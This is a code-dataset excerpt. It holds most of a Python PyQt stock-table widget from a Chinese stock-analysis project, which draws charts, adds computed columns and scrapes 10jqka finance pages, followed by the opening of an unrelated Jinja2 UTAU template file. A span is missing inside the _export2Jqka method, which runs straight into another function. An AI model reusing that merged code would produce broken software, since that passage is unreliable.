text[-1] == '分' else 'S'\n bar = text[:-1] + barUnit\n break\n\n self._dataViewer.plotIntraDayCandleStick(code, [0, date, 0], bar)\n\n def _dealsDistAct(self):\n code, date = self.getRightClickCodeDate()\n if code is None: return\n\n # get triggered action\n for action in self._dealsDistMenu.actions():\n if action.isChecked():\n action.setChecked(False)\n\n text = action.text()\n try:\n n = -int(text[2:-1]) + 1\n except Exception as ex:\n n = 0\n\n break\n\n self._dataViewer.plotDealsDist(code, date, n)\n\n def _timeShareChartAct(self):\n code, date = self.getRightClickCodeDate()\n if code is None: return\n\n # get triggered action\n for action in self._timeShareChartMenu.actions():\n if action.isChecked():\n action.setChecked(False)\n\n text = action.text()\n try:\n n = -int(text[2:-1])\n except Exception as ex:\n n = 0\n\n break\n\n self._dataViewer.plotTimeShareChart(code, date, n)\n\n def _dealDetailsAct(self):\n code, date = self.getRightClickCodeDate()\n if code is None: return\n\n window = DyStockDealDetailsMainWindow(self._dataViewer, self)\n window.set(code, date)\n\n window.show()\n\n def _stockInfoAct(self):\n code, name = self.getRightClickCodeName()\n if code is None: return\n\n browser = DyWebView()\n url = 'http://basic.10jqka.com.cn/32/{0}/'.format(code[:-3])\n browser.load(QUrl(url))\n\n browser.setWindowTitle(name)\n \n rect = QApplication.desktop().availableGeometry()\n taskBarHeight = QApplication.desktop().height() - rect.height()\n\n browser.resize(rect.width()//3 * 2, rect.height() - taskBarHeight)\n browser.move((rect.width() - browser.width())//2, 0)\n\n browser.show()\n\n self._windows.append(browser)\n\n def _newIndustryCompareWindow(self, code, name, baseDate, dfs):\n window = DyStockIndustryCompareWindow(self._eventEngine, DyStockTableWidget, code, name, baseDate)\n\n window.addCategorys(dfs)\n\n window.setWindowTitle('行业对比[{0}]-基准日期[{1}]'.format(name, baseDate))\n window.showMaximized()\n\n self._windows.append(window)\n\n def _stockTableIndustryCompareActAckSignalEmitWrapper(self, event):\n self.stockTableIndustryCompareActAckSignal.emit(event)\n\n def _stockTableIndustryCompareActAckHandler(self, event):\n if self is not event.data['self']:\n return\n\n code, name, baseDate, categoryDfs = event.data['args']\n if not categoryDfs:\n return\n\n self._newIndustryCompareWindow(code, name, baseDate, categoryDfs)\n\n self._curActionOngoing = False\n\n def _industryCompareAct(self):\n def _func(self, code, name, baseDate, forwardNTDays, industry2, industry3):\n categoryDfs = self._getIndustryCompare(code, baseDate, forwardNTDays, industry2, industry3)\n\n self._actAck(DyEventType.stockTableIndustryCompareActAck, code, name, baseDate, categoryDfs)\n\n code, date = self.getRightClickCodeDate()\n if code is None: return\n\n code, name = self.getRightClickCodeName()\n\n data = {}\n if not DyStockIndustryCompareDlg(name, date, data).exec_():\n return\n\n self._curActionOngoing = True\n t = threading.Thread(target=_func, args=(self, code, name, date, data['forwardNTDays'], data['industry2'], data['industry3']))\n t.start()\n\n def _hsarsAct(self):\n code, date = self.getRightClickCodeDate()\n if code is None: return\n\n self._dataViewer.plotHSARs(code, [-DyStockCommon.dayKChartPeriodNbr, date, DyStockCommon.dayKChartPeriodNbr])\n\n def _swingAct(self):\n code, date = self.getRightClickCodeDate()\n if code is None: return\n\n self._dataViewer.plotSwingChart(code, [-DyStockCommon.dayKChartPeriodNbr, date, DyStockCommon.dayKChartPeriodNbr])\n\n def _trendChannelAct(self):\n code, date = self.getRightClickCodeDate()\n if code is None: return\n\n self._dataViewer.plotTrendChannelChart(code, [-DyStockCommon.dayKChartPeriodNbr, date, DyStockCommon.dayKChartPeriodNbr])\n\n def _volatilityDistAct(self):\n code, date = self.getRightClickCodeDate()\n if code is None: return\n\n code, name = self.getRightClickCodeName()\n\n data = {}\n if not DySingleEditDlg(data, '波动分布[{0}]'.format(name), '基准日期[{0}]向前N日(不包含基准日期)'.format(date), 90).exec_():\n return\n\n self._dataViewer.plotVolatilityDist(code, date, data['data'])\n\n def _atrExtremeAct(self):\n code, date = self.getRightClickCodeDate()\n if code is None: return\n\n self._dataViewer.plotAtrExtreme(code, [-DyStockCommon.dayKChartPeriodNbr, date, DyStockCommon.dayKChartPeriodNbr])\n\n def _volatilityAct(self, item):\n code, date = self.getRightClickCodeDate()\n if code is None:\n return\n\n data = {}\n if DySingleEditDlg(data, '波动率*√量比(%)', '均值周期', default=20).exec_():\n volatilityVolumePeriod = int(data['data'])\n\n self._dataViewer.plotVolatilityChart(code, [-DyStockCommon.dayKChartPeriodNbr, date, DyStockCommon.dayKChartPeriodNbr], volatilityVolumePeriod)\n\n def _itemDoubleClicked(self, item):\n code, baseDate = self.getCodeDate(item)\n if code is None or baseDate is None:\n return\n\n self._dataViewer.plotCandleStick(code, [-DyStockCommon.dayKChartPeriodNbr, baseDate, DyStockCommon.dayKChartPeriodNbr])\n\n def _export2Jqka(self, file, stocks):\n \"\"\"\n @file: 要保存的绝对路径文件名\n \"\"\"\n if not stocks: return\n\n now = datetime.now().strftime(\"%Y_%m_%d %H-%M-%S\")\n\n f = open(file, 'wb')\n\n nbr = struct.pack('= DyStockCommon.limitUpPct:\n limitUpNbr += 1\n else:\n nonLimitUpNbr += 1\n\n totalNbr = limitUpNbr + nonLimitUpNbr\n\n table = DyTableWidget(readOnly=True, index=False)\n table.setColNames(['涨停', '非涨停', '涨停占比(%)'])\n table.appendRow([limitUpNbr, nonLimitUpNbr, limitUpNbr/totalNbr*100])\n\n table.setWindowTitle('涨停比')\n table.resize(QApplication.desktop().size().width()//2, QApplication.desktop().size().height()//3)\n table.show()\n\n self._windows.append(table)\n\n def _upDownRatioAct(self):\n colData = self.getColumnsData([self._rightClickHeaderItem.text()])\n\n upNbr, downNbr, noChangeNbr = 0, 0, 0\n for row in colData:\n if row is None:\n continue\n value = row[0]\n\n try:\n value = float(value)\n except Exception:\n continue\n\n if value > 0:\n upNbr += 1\n elif value < 0:\n downNbr += 1\n else:\n noChangeNbr += 1\n\n totalNbr = upNbr + downNbr + noChangeNbr\n\n table = DyTableWidget(readOnly=True, index=False)\n table.setColNames(['涨', '跌', '平', '上涨占比(%)', '下跌占比(%)', '平占比(%)'])\n table.appendRow([upNbr, downNbr, noChangeNbr, upNbr/totalNbr*100, downNbr/totalNbr*100, noChangeNbr/totalNbr*100])\n\n table.setWindowTitle('涨跌比')\n table.resize(QApplication.desktop().size().width()//2, QApplication.desktop().size().height()//3)\n table.show()\n\n self._windows.append(table)\n\n def _actAck(self, eventType, *args):\n event = DyEvent(eventType)\n event.data['self'] = self\n event.data['args'] = args\n\n self._eventEngine.put(event)\n\n def _stockTableAddColumnsActAckSignalEmitWrapper(self, event):\n self.stockTableAddColumnsActAckSignal.emit(event)\n\n def _addIncreaseColumnsAct(self):\n def _func(self, dateCodeList, data):\n dateCodeIncreaseList = DyStockDataAssembler.getStockIndexIncrease(self._daysEngine, dateCodeList, data['days'], data['backward'], DyProgress(self._errorProgressInfo))\n if dateCodeIncreaseList is None:\n self._actAck(DyEventType.stockTableAddColumnsActAck, None, None)\n return\n\n colNames, colData = DyStockDataAssembler.flatStockIndexIncrease(dateCodeIncreaseList, data['days'], data['backward'])\n\n self._actAck(DyEventType.stockTableAddColumnsActAck, colNames, colData)\n\n data = {}\n if not DyStockTableAddColumnsDlg(data, '涨幅').exec_():\n return\n\n dateCodeList = self.getDateCodeList()\n if not dateCodeList:\n return\n\n self._curActionOngoing = True\n t = threading.Thread(target=_func, args=(self, dateCodeList, data))\n t.start()\n\n def _addMaxMinIncreaseColumnsAct(self):\n def _func(self, dateCodeList, data):\n dateCodeIncreaseList = DyStockDataAssembler.getStockIndexMaxMinIncrease(self._daysEngine, dateCodeList, data['days'], data['backward'], DyProgress(self._errorProgressInfo))\n if dateCodeIncreaseList is None:\n self._actAck(DyEventType.stockTableAddColumnsActAck, None, None)\n return\n\n colNames, colData = DyStockDataAssembler.flatStockIndexMaxMinIncrease(dateCodeIncreaseList, data['days'], data['backward'])\n\n self._actAck(DyEventType.stockTableAddColumnsActAck, colNames, colData)\n\n data = {}\n if not DyStockTableAddColumnsDlg(data, '最大最小涨幅').exec_():\n return\n\n dateCodeList = self.getDateCodeList()\n if not dateCodeList:\n return\n\n self._curActionOngoing = True\n t = threading.Thread(target=_func, args=(self, dateCodeList, data))\n t.start()\n\n def _addMaxAmplitudeColumnsAct(self):\n def _func(self, dateCodeList, data):\n dateCodeIncreaseList = DyStockDataAssembler.getStockIndexMaxAmplitude(self._daysEngine, dateCodeList, data['days'], data['backward'], DyProgress(self._errorProgressInfo))\n if dateCodeIncreaseList is None:\n self._actAck(DyEventType.stockTableAddColumnsActAck, None, None)\n return\n\n colNames, colData = DyStockDataAssembler.flatStockIndexMaxAmplitude(dateCodeIncreaseList, data['days'], data['backward'])\n\n self._actAck(DyEventType.stockTableAddColumnsActAck, colNames, colData)\n\n data = {}\n if not DyStockTableAddColumnsDlg(data, '振幅').exec_():\n return\n\n dateCodeList = self.getDateCodeList()\n if not dateCodeList:\n return\n\n self._curActionOngoing = True\n t = threading.Thread(target=_func, args=(self, dateCodeList, data))\n t.start()\n\n def _addOpenGapColumnsAct(self):\n \"\"\"\n 添加开盘缺口列,0代表是当日。若T日没有缺口,则T日是None。正值是向上缺口,负值是向下缺口。\n \"\"\"\n def _func(self, dateCodeList, data):\n rows = DyStockDataAssembler.getStockOpenGap(self._daysEngine, dateCodeList, data['days'], data['backward'], DyProgress(self._errorProgressInfo))\n if rows is None:\n self._actAck(DyEventType.stockTableAddColumnsActAck, None, None)\n return\n\n colNames, colData = DyStockDataAssembler.flatStockOpenGap(rows, data['days'], data['backward'])\n\n self._actAck(DyEventType.stockTableAddColumnsActAck, colNames, colData)\n\n data = {'days': [0, 1]}\n if not DyStockTableAddColumnsDlg(data, '开盘缺口(0只能出现在向前)', backward=False).exec_():\n return\n\n dateCodeList = self.getDateCodeList()\n if not dateCodeList:\n return\n\n self._curActionOngoing = True\n t = threading.Thread(target=_func, args=(self, dateCodeList, data))\n t.start()\n\n def _stockTableAddColumnsActAckHandler(self, event):\n if self is not event.data['self']:\n return\n\n colNames, colData = event.data['args']\n if colNames is None:\n return\n\n self.fastAppendColumns(colNames, colData)\n\n self._curActionOngoing = False\n\n def _addErColumnsAct(self):\n def _func(self, dateCodeList, data):\n dateCodeErList = DyStockDataAssembler.getStockIndexEr(self._daysEngine, dateCodeList, data['days'], data['backward'], DyProgress(self._errorProgressInfo))\n if dateCodeErList is None:\n self._actAck(DyEventType.stockTableAddColumnsActAck, None, None)\n return\n\n colNames, colData = DyStockDataAssembler.flatStockIndexEr(dateCodeErList, data['days'], data['backward'])\n\n self._actAck(DyEventType.stockTableAddColumnsActAck, colNames, colData)\n\n data = {'days': [20, 30, 40, 50, 60]}\n if not DyStockTableAddColumnsDlg(data, 'Efficiency Ratio', backward=False).exec_():\n return\n\n dateCodeList = self.getDateCodeList()\n if not dateCodeList:\n return\n\n self._curActionOngoing = True\n t = threading.Thread(target=_func, args=(self, dateCodeList, data))\n t.start()\n\n def _addVolatilityColumnsAct(self):\n def _func(self, dateCodeList, data):\n dateCodeVolatilityList = DyStockDataAssembler.getStockIndexVolatility(self._daysEngine, dateCodeList, data['days'], data['backward'], DyProgress(self._errorProgressInfo))\n if dateCodeVolatilityList is None:\n self._actAck(DyEventType.stockTableAddColumnsActAck, None, None)\n return\n\n colNames, colData = DyStockDataAssembler.flatStockIndexVolatility(dateCodeVolatilityList, data['days'], data['backward'])\n\n self._actAck(DyEventType.stockTableAddColumnsActAck, colNames, colData)\n\n data = {'days': [20, 30, 40, 50, 60]}\n if not DyStockTableAddColumnsDlg(data, '波动率', backward=False).exec_():\n return\n\n dateCodeList = self.getDateCodeList()\n if not dateCodeList:\n return\n\n self._curActionOngoing = True\n t = threading.Thread(target=_func, args=(self, dateCodeList, data))\n t.start()\n\n def _addMinuteIncreaseColumnsAct(self):\n def _func(self, dateCodeList, data):\n retData = DyStockDataAssembler.getStockEtfMinuteIncrease(self._dataEngine, dateCodeList, data['data'], DyProgress(self._errorProgressInfo))\n if retData is None:\n self._actAck(DyEventType.stockTableAddColumnsActAck, None, None)\n return\n\n colNames, colData = DyStockDataAssembler.flatStockEtfMinuteIncrease(retData, data['data'])\n\n self._actAck(DyEventType.stockTableAddColumnsActAck, colNames, colData)\n\n data = {'data': '5,10,15'}\n if not DySingleEditDlg(data, '分钟涨幅(%)', '基准日期开盘几分钟涨幅(%)').exec_():\n return\n \n if isinstance(data['data'], str):\n data['data'] = [int(x) for x in data['data'].split(',')]\n else:\n data['data'] = [data['data']]\n\n dateCodeList = self.getDateCodeList()\n if not dateCodeList:\n return\n\n self._curActionOngoing = True\n t = threading.Thread(target=_func, args=(self, dateCodeList, data))\n t.start()\n\n def _addOpenIncreaseColumnsAct(self):\n def _func(self, dateCodeList):\n retData = DyStockDataAssembler.getStockIndexOpenIncrease(self._daysEngine, dateCodeList, DyProgress(self._errorProgressInfo))\n if retData is None:\n self._actAck(DyEventType.stockTableAddColumnsActAck, None, None)\n return\n\n colNames, colData = DyStockDataAssembler.flatStockIndexOpenIncrease(retData)\n\n self._actAck(DyEventType.stockTableAddColumnsActAck, colNames, colData)\n\n dateCodeList = self.getDateCodeList()\n if not dateCodeList:\n return\n\n self._curActionOngoing = True\n t = threading.Thread(target=_func, args=(self, dateCodeList))\n t.start()\n\n def _addDayReturnIndexCorrColumnsAct(self):\n def _func(self, dateCodeList, data):\n colNames, colData = DyStockDataAssembler.getStockIndexDayReturnCorr(self._daysEngine, dateCodeList, data['days'], data['backward'], DyProgress(self._errorProgressInfo))\n\n self._actAck(DyEventType.stockTableAddColumnsActAck, colNames, colData)\n\n data = {'days': [20, 30, 40, 50, 60]}\n if not DyStockTableAddColumnsDlg(data, '股票大盘日收益率相关系数', backward=False).exec_():\n return\n\n dateCodeList = self.getDateCodeList()\n if not dateCodeList:\n return\n\n self._curActionOngoing = True\n t = threading.Thread(target=_func, args=(self, dateCodeList, data))\n t.start()\n\n def _newWindowAct(self):\n self._newWindow()\n\n def _newWindow(self, rows=None):\n \"\"\"\n 子类可改写\n \"\"\"\n window = DyStockTableWidget(self._eventEngine,\n name=self._name,\n baseDate=self._baseDate,\n readOnly=True,\n index=False,\n autoScroll=False,\n floatRound=2\n )\n\n if rows is None:\n rows = self.getAll()\n\n window.appendStocks(rows, self.getColNames(), self.getAutoForegroundColName())\n\n window.setWindowTitle(window.name)\n window.showMaximized()\n\n self._windows.append(window)\n\n def _addStockInfoColumnsAct(self):\n def _func(self, codePrices, indicators):\n progress = DyProgress(self._errorProgressInfo)\n progress.init(len(codePrices))\n\n # get data from Spider\n names = []\n data = []\n first = True\n for code, price in codePrices:\n rowData = []\n\n # 公司资料\n colNames, colData = DyStockDataSpider.getCompanyInfo(code, indicators)\n if first:\n names += colNames\n\n rowData += colData\n\n # 股本\n if '实际流通股(亿)' in indicators:\n freeShares, type = DyStockDataSpider.getLatestRealFreeShares(code)\n if first:\n names += ['实际流通股(亿)', '股份类型']\n\n rowData += [freeShares, type]\n\n if '实际流通市值(亿元)' in indicators:\n if '实际流通股(亿)' not in indicators:\n freeShares, type = DyStockDataSpider.getLatestRealFreeShares(code)\n\n if first:\n names += ['实际流通市值(亿元)']\n\n rowData += [freeShares*price]\n\n if '机构占比流通(%)' in indicators:\n fundPosRatio, fundNbr = DyStockDataSpider.getLatestFundPositionsRatio(code)\n\n if first:\n names += ['机构占比流通(%)']\n\n rowData += [fundPosRatio]\n \n # post process\n if rowData:\n data.append(rowData)\n\n first = False\n progress.update()\n\n self._actAck(DyEventType.stockTableAddColumnsActAck, names, data)\n\n codePrices = self.getCodePriceList()\n if not codePrices: return\n\n data = {}\n if not DyStockInfoDlg(data).exec_():\n return\n\n indicators = data['indicators']\n\n self._curActionOngoing = True\n t = threading.Thread(target=_func, args=(self, codePrices, indicators))\n t.start()\n\n def _addColumnOperateColumnsAct(self):\n data = {}\n if DyStockTableColumnOperateDlg(data, self.getColNames()).exec_():\n self.addColumnOperateColumns(data['exp'])\n\n def _filterAct(self):\n data = {}\n if DyStockTableFilterDlg(data, self.getColNames()).exec_():\n self._filter(data['filter'], data['newWindow'], data['highlight'])\n\n def _filter(self, filter, newWindow, highlight):\n filterRows = self.filter(filter, highlight)\n\n if newWindow:\n self._newWindow(rows=filterRows)\n\n def _export2JqkaAct(self):\n data = {}\n if not DyStockTableSelectDlg(data, '{0}导出到同花顺'.format(self.getUniqueName())).exec_():\n return\n\n defaultFileName = '{0}.sel' if data['all'] else '{0}_高亮.sel'\n defaultFileName = defaultFileName.format(self.getUniqueName())\n\n defaultDir = DyCommon.createPath('Stock/User/Save/Strategy/同花顺')\n fileName, _ = QFileDialog.getSaveFileName(self, '导出到同花顺', os.path.join(defaultDir, defaultFileName), \"同花顺files (*.sel);;all files(*.*)\")\n if fileName:\n self.export2Jqka(fileName)\n\n def _saveAsAct(self):\n data = {}\n if not DyStockTableSelectDlg(data, '{0}保存'.format(self.getUniqueName())).exec_():\n return\n\n defaultFileName = '{0}.json' if data['all'] else '{0}_高亮.json'\n defaultFileName = defaultFileName.format(self.getUniqueName())\n\n defaultDir = DyCommon.createPath('Stock/User/Save/Strategy')\n fileName, _ = QFileDialog.getSaveFileName(self, '保存股票表', os.path.join(defaultDir, defaultFileName), \"JSON files (*.json);;all files(*.*)\")\n if fileName:\n self._saveAs(fileName, data['all'])\n\n def _saveAs(self, fileName, all=True):\n \"\"\"\n 重载@getCustomSaveData定义自己的保存格式\n 共同数据:\n {\n 'autoForegroundColName': autoForegroundColName,\n 'data': {'colNames': colNames, 'rows': rows}\n }\n \"\"\"\n rows = self.getAll() if all else self.getHighlights()\n colNames, autoForegroundColName = self.getColNames(), self.getAutoForegroundColName()\n \n # 子类可以重载@getCustomSaveData\n customData = self.getCustomSaveData()\n\n data = {'name': self._name,\n 'autoForegroundColName': autoForegroundColName,\n 'baseDate': self._baseDate,\n 'data': {'colNames': colNames, 'rows': rows}\n }\n\n data.update(**customData)\n\n with open(fileName, 'w') as f:\n f.write(json.dumps(data, indent=4))\n\n #-------------------------------------- 股票行业比较 --------------------------------------\n # !!!原则上应该放到@DyStockDataSpider,但改动比较大,暂时先这么实现\n def _toFloat(self, value):\n try:\n value = float(value)\n except:\n try:\n value = float(value[:-1]) # e.g value like '15.06%'\n except:\n value = 0\n\n return value\n\n def _getCompanyFinanceOutline1(self, code, indicators):\n \"\"\"\n 从财务报表获取指定的指标\n @indicators: []\n \"\"\"\n mainLink = 'http://basic.10jqka.com.cn/{0}/flash/main.txt'.format(code[:-3])\n r = requests.get(mainLink)\n\n table = dict(json.loads(r.text))\n\n values = {}\n for indicator in indicators:\n # get @indicator position\n pos = None\n for i, e in enumerate(table['title']):\n if isinstance(e, list):\n if e[0] == indicator:\n pos = i\n break\n\n # 指标最近的值\n value = self._toFloat(table['report'][pos][0])\n values[indicator] = value\n\n return values\n\n def _getCompanyFinanceOutline(self, code):\n \"\"\"\n 从同花顺'最新动态'网页获取财务概要信息\n \"\"\"\n def getIndex(x):\n for i, name in enumerate(colNames):\n if x in name:\n return i\n\n return None\n\n colNames = ['市盈率(动态)', '市净率', '每股收益', '每股现金流', '每股净资产', '净资产收益率(%)', '营业收入YoY(%)', '净利润YoY(%)', '流通A股(亿股)', '总股本(亿股)']\n colData = [None]*len(colNames)\n\n # 缺失的数据从财务报表里获取\n latest2FinanceMap = {'营业收入YoY(%)': '营业总收入同比增长率', '净利润YoY(%)': '净利润同比增长率'}\n finance2LatestMap = {value: key for key, value in latest2FinanceMap.items()}\n\n try:\n r = requests.get('http://basic.10jqka.com.cn/16/{0}/'.format(code[:-3]))\n\n soup = BeautifulSoup(r.text, 'lxml')\n\n table = soup.find('table', class_=\"m_table m_table_db mt10\")\n tds = table.find_all('td')\n\n for td in tds:\n spans = td.find_all('span')\n\n indicator = str(spans[0].string)[:-1]\n index = getIndex(indicator)\n if index is None: continue\n\n value = None\n if '%' in colNames[index]:\n for span in spans[1:]:\n if '%' in str(span.string):\n value = str(span.string)\n break\n else:\n value = str(spans[1].string)\n\n if value is not None:\n positive = True if '下降' not in value else False\n\n value = re.findall(r\"-?\\d+\\.?\\d*\", value)\n if value:\n value = float(value[0]) if positive else -float(value[0])\n colData[index] = value\n\n # 处理缺失数据\n indicators = []\n for key, value in latest2FinanceMap.items():\n index = colNames.index(key)\n if colData[index] is None:\n indicators.append(value)\n\n # 从财务报表获取缺失数据的最新值\n if indicators:\n data = self._getCompanyFinanceOutline1(code, indicators)\n for key, value in data.items():\n index = colNames.index(finance2LatestMap[key])\n colData[index] = value\n\n except Exception as ex:\n pass\n\n return colNames, colData\n\n def _getIndustryCompareTable(self, div, id):\n colNames = ['销售毛利率']\n colNamesForReturn = ['销售毛利率(%)']\n colPoses = {}\n colData = {}\n\n try:\n table = div.find('table', class_='m_table m_hl', id=id)\n\n # 获取每个指标的位置\n tag = table.find('thead')\n ths = tag.find_all('th')\n\n for i, th in enumerate(ths):\n indicator = str(th.contents[0])\n if indicator in colNames:\n colPoses[indicator] = i\n\n assert(len(colNames) == len(colPoses))\n\n # 获取指定date的指标值\n tag = table.find('tbody')\n trs = tag.find_all('tr')\n\n for tr in trs:\n tds = tr.find_all('td')\n code = DyStockCommon.getDyStockCode(str(tds[0].string))\n name = str(tds[1].string)\n\n data = [code, name]\n for indicator in colNames:\n data.append(self._toFloat(tds[colPoses[indicator]].string))\n\n colData[code] = data\n\n except Exception as ex:\n pass\n\n return ['代码', '名称'] + colNamesForReturn, colData\n\n def _getIndustryComparePartly(self, code, industry2, industry3):\n totalData = {}\n tableColNames = []\n\n try:\n r = requests.get('http://basic.10jqka.com.cn/16/{0}/field.html'.format(code[:-3]))\n\n soup = BeautifulSoup(r.text, 'lxml')\n\n divIds = {\"hy3_div\": industry3, \"hy2_div\": industry2}\n pTexts = {\"hy3_div\": '三级行业分类:', \"hy2_div\": '二级行业分类:'}\n tableIds = {\"hy3_div\": [\"hy3_table_1\", \"hy3_table_2\"], \"hy2_div\": [\"hy2_table_1\", \"hy2_table_2\"]}\n \n for divId, bool in divIds.items():\n if not bool: continue\n\n div = soup.find('div', id=divId)\n if div is None: continue\n\n # 行业分类\n category = div.parent.find(text=pTexts[divId])\n category = category.parent\n categoryHead = str(category.contents[0])\n span = category.find('span')\n categoryBody = str(span.contents[0][:-3])\n\n category = categoryHead + categoryBody\n\n # table\n tableColDataTotal = {}\n for tableId in tableIds[divId]:\n tableColNames, tableColData = self._getIndustryCompareTable(div, tableId)\n\n for code in tableColData:\n if code not in tableColDataTotal:\n tableColDataTotal[code] = tableColData[code]\n\n totalData[category] = tableColDataTotal\n except Exception as ex:\n pass\n\n return tableColNames, totalData\n\n def _calcIndustryCompareScore(self, categoryDfs):\n for category, df in categoryDfs.items():\n # rank for each indicator, think rank as score that the high score is the better is\n seriesList = []\n\n series = df['市盈率(动态)'].rank(ascending=False)\n seriesList.append(series)\n\n series = df['市净率'].rank(ascending=False)\n seriesList.append(series)\n\n series = df['净资产收益率(%)'].rank()\n seriesList.append(series)\n\n series = df['每股现金流'].rank()\n seriesList.append(series)\n\n series = df['营业收入YoY(%)'].rank()\n seriesList.append(series)\n\n series = df['净利润YoY(%)'].rank()\n seriesList.append(series)\n\n series = df['销售毛利率(%)'].rank()\n seriesList.append(series)\n\n rankDf = pd.concat(seriesList, axis=1)\n\n # total rank\n series = rankDf.sum(axis=1)*100/(len(seriesList) * rankDf.shape[0])\n series.name = '得分'\n\n df = pd.concat([df, series], axis=1)\n columns = list(df.columns)\n df = df.reindex(columns=columns[:2] + columns[-1:] + columns[2:-1])\n\n categoryDfs[category] = df\n\n def _getIndustryCompare(self, code, baseDate, forwardNTDays, industry2, industry3):\n # 获取同行业的数据\n name, data = self._getIndustryComparePartly(code, industry2, industry3)\n\n # 合并代码表\n codes = set()\n for _, data_ in data.items():\n codes.update(list(data_.keys()))\n codes = list(codes)\n\n # 获取股票的基本财务信息\n progress = DyProgress(self._errorProgressInfo)\n progress.init(len(codes))\n\n financeOutline = {}\n for code in codes:\n outlineNames, outlineData = self._getCompanyFinanceOutline(code)\n financeOutline[code] = outlineData\n\n progress.update()\n\n financeOutlineDf = pd.DataFrame(financeOutline, index=outlineNames).T\n\n # 根据行业分级合并数据\n categoryDfs = {}\n for category, data_ in data.items():\n df = pd.DataFrame(data_, index=name).T\n df = pd.concat([df, financeOutlineDf], axis=1)\n df = df[df[name[0]].notnull()]\n\n df = df.reindex(columns=name[:2] + outlineNames[:-2] + name[2:] + outlineNames[-2:])\n\n categoryDfs[category] = df\n\n # 计算得分\n self._calcIndustryCompareScore(categoryDfs)\n\n # 获取前N日涨幅\n daysEngine = self._daysEngine\n if not daysEngine.load([baseDate, -forwardNTDays], codes=codes):\n return categoryDfs\n\n # 计算前N日涨幅\n autoForegroundColName = '前{0}日涨幅(%)'.format(forwardNTDays)\n pcts = {}\n for code in codes:\n df = daysEngine.getDataFrame(code)\n if df is not None and not df.empty:\n pct = (df.ix[-1, 'close'] - df.ix[0, 'close'])*100/df.ix[0, 'close']\n pcts[code] = [df.ix[-1, 'close'], pct]\n \n # 获取指定周期内停牌股票的最新收盘价\n for code in codes:\n if code not in pcts:\n # 同花顺可能会含有终止上市的股票或者没有上市的股票\n if daysEngine.loadCode(code, [baseDate, 0]):\n df = daysEngine.getDataFrame(code)\n pcts[code] = [df.ix[-1, 'close'], None]\n\n pctDf = pd.DataFrame(pcts, index=['当日价格', autoForegroundColName]).T\n\n # 根据行业分级合并数据\n for category, df in categoryDfs.items():\n df = pd.concat([df, pctDf], axis=1)\n df = df[df.ix[:,0].notnull()]\n\n df.sort_values('得分', axis=0, ascending=False, inplace=True)\n\n # 添加市值\n df['流通市值(亿元)'] = df['流通A股(亿股)'] * df['当日价格']\n df['总市值(亿元)'] = df['总股本(亿股)'] * df['当日价格']\n\n columns = list(df.columns)\n df = df.reindex(columns=columns[:-4] + columns[-2:] + columns[-4:-2])\n\n categoryDfs[category] = df\n \n return categoryDfs\n\n #---------------------------------------------- interfaces ----------------------------------------------\n def export2Jqka(self, fileName):\n self._export2Jqka(fileName, self.getCodeList())\n\n def setBaseDate(self, baseDate):\n self._baseDate = baseDate\n\n def appendStocks(self, rows, header=None, autoForegroundColName=None, new=False):\n if header is not None:\n self.setColNames(header)\n\n self.fastAppendRows(rows, autoForegroundColName=autoForegroundColName, new=new)\n\n #---------------------------------------------- 由子类根据自己的Table格式改写 ----------------------------------------------\n def getDateCodeList(self):\n if self._baseDate is None:\n raise AttributeError\n\n codes = self.getColumnsData(['代码'])\n\n return [[self._baseDate, code[0]] for code in codes]\n\n def getCodeList(self):\n codes = self.getColumnsData(['代码'])\n\n return [code[0] for code in codes]\n\n def getCodePriceList(self):\n return self.getColumnsData(['代码', '当日价格'])\n\n def getRightClickCodeDate(self):\n item = self.itemAt(self._rightClickPoint)\n if item is None:\n return None, None\n\n code = self[item.row(), '代码']\n\n return code, self._baseDate\n\n def getRightClickCodeName(self):\n item = self.itemAt(self._rightClickPoint)\n if item is None:\n return None, None\n\n code = self[item.row(), '代码']\n name = self[item.row(), '名称']\n\n return code, name\n\n def getCodeDate(self, item):\n row = self.row(item)\n code = self[row, '代码']\n\n return code, self._baseDate\n\n def getUniqueName(self):\n \"\"\"\n Get unique name of this table. Usually it's combined with name + baseDate\n \"\"\"\n return '{0}_{1}'.format(self._name, self._baseDate)\n\n def getCustomSaveData(self):\n \"\"\"\n 获取每个类的定制保存数据\n @return: dict\n \"\"\"\n return {}\n\n def customizeHeaderContextMenu(self, headerItem):\n \"\"\"\n 子类改写\n \"\"\"\n self._upDownRatioAction.setEnabled('涨幅' in headerItem.text())\n self._limitUpRatioAction.setEnabled('涨幅' in headerItem.text())\n\n #---------------------------------------------- 属性 ----------------------------------------------\n @property\n def dataViewer(self):\n return self._dataViewer\n\n @property\n def name(self):\n return self._name\n\n @property\n def eventEngine(self):\n return self._eventEngine\n\n @property\n def baseDate(self):\n return self._baseDate\n\n","repo_name":"MicroEngine/DevilYuan","sub_path":"Stock/Common/Ui/Basic/DyStockTableWidget.py","file_name":"DyStockTableWidget.py","file_ext":"py","file_size_in_byte":47948,"program_lang":"python","lang":"en","doc_type":"code","stars":222,"dataset":"github-code","pt":"61"} +{"seq_id":"28908511546","text":"import pathlib\n\nfrom jinja2 import Template\n\nfrom .model import UTAUProject\n\nUST_TEMPLATE = Template(\n \"\"\"\\\n[#VERSION]\nUST Version={{ ust_project.ust_version[0] }}{% if ust_project.charset %}\nCharset={{ ust_project.charset }}{% endif %}\n[#SETTING]{% if ust_project.tempo | length > 0 %}\nTempo={{ ust_project.tempo[0] }}{% endif %}{% if ust_project.track_count | length > 0 %}\nTracks={{ ust_project.track_count[0] }}{% endif %}{% if ust_project.project_name | length > 0 %}\nProject={{ ust_project.project_name[0] }}{% endif %}{% if ust_project.voice_dir | length > 0 %}\nVoiceDir={{ ust_project.voice_dir[0] }}{% endif %}{% if ust_project.out_file | length > 0 %}\nOutFile={{ ust_project.out_file[0] }}{% endif %}{% if ust_project.cache_dir | length > 0 %}\nCacheDir={{ ust_project.cache_dir[0] }}{% endif %}{% if ust_project.tool1 | length > 0 %}\nTool1={{ ust_project.tool1[0] }}{% endif %}{% if ust_project.tool2 | length > 0 %}\nTool2={{ ust_project.tool2[0] }}{% endif %}{% if ust_project.pitch_mode2 | length > 0 %}\nMode2={{ ust_project.pitch_mode2[0].__int__() }}{% endif %}{% if ust_project.autoren | length > 0 %}\nAutoren={{ ust_project.autoren[0] }}{% endif %}{% if ust_project.flags | length > 0 %}\nFlags={{ ust_project.flags[0] }}{% endif %}{% if ust_project.track %}{% for note in ust_project.track.notes %}\n[#{{ note.note_type }}]\nLength={{ note.length[0] }}\nLyric={{ note.lyric[0] }}\nNoteNum={{ note.note_num[0] }}{% if note.pre_utterance|length > 0 %}\nPreUtterance={{ 